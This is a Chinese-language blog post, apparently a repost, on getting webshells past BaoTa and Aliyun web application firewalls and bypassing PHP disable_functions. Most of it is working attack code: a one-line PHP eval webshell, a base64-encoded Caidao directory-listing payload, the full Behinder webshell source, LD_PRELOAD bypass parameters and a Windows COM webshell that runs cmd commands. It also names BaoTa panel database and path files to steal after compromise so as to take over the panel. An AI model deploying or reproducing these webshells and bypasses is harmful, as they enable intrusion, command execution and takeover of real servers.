WAF攻防工具行为免杀&命令执行绕过&面板安全
Posted 遗憾zzz
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WAF攻防工具行为免杀&命令执行绕过&面板安全相关的知识,希望对你有一定的参考价值。
一、webshell工具-BT&Aliyun-功能绕过
webshell管理工具
冰蝎:https://github.com/rebeyond/Behinder/releases
哥斯拉:https://github.com/BeichenDream/Godzilla/releases
蚁剑:https://github.com/AntSwordProject/antSword/releases
菜刀:https://github.com/raddyfiy/caidao-official-version/releases
功能绕过
代码:<?php eval(base64_decode($_POST['x']));?>
请求:http://test.xiaodi8.com/tmp/test.php
发包:
x=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=L3d3dy93d3dyb290L3Rlc3QueGlhb2RpOC5jb20=
对php的版本有要求比如 php5.x版本,这里绕过的关键是宝塔对菜刀base64加密函数进行了拦截,所以我们只需在传输的时候,传输base64加密的数据包,让再解密就不会被拦截
冰蝎shell&哥斯拉shell 直接解决被拦截
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
二、Linux-无WAF-绕disable_function
在没有WAF情况下,PHP5.X版本disable_function默认是空,PHP7.X默认有函数设置
在有BT_WAF下,任何PHP安装版本均设置好了disable_function禁用的函数
绕过这个disable_function,需要看对方的操作系统
1.蚁剑插件绕过
2.GIthub Bypass Disable Functions Shell项目
项目地址:https://github.com/l3m0n/Bypass_Disable_functions_Shell
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
参考:https://blog.csdn.net/qq_36241198/article/details/117405426
payload参数绕过
/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so
三、Windows-无WAF-绕disable_function
条件需要启用phpCOM组件,extension=php_com_dotnet.dll
payload 参数绕过
http://192.168.1.1:80/bypass.php?a=ver
exp
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
四、Windows-BT_WAF-绕disable_function&BT面板
在获取到权限之后,就能够进行信息收集到敏感文件:
default.db 宝塔的数据信息库文件
admin_path.pl 宝塔访问地址的URL文件
拿到这两个文件之后,就相当于获得宝塔的一个面板权限,那么绕不绕disable_function已经没有关系了
BT面板安全问题-存在windows及linux非最新版本上
最后总结:
Linux-无WAF-绕disable_function-可以
Linux-BT_WAF-绕disable_function-不行
Windows-无WAF-绕disable_function-可以
Windows-BT_WAF-绕disable_function-面板安全
以上是关于WAF攻防工具行为免杀&命令执行绕过&面板安全的主要内容,如果未能解决你的问题,请参考以下文章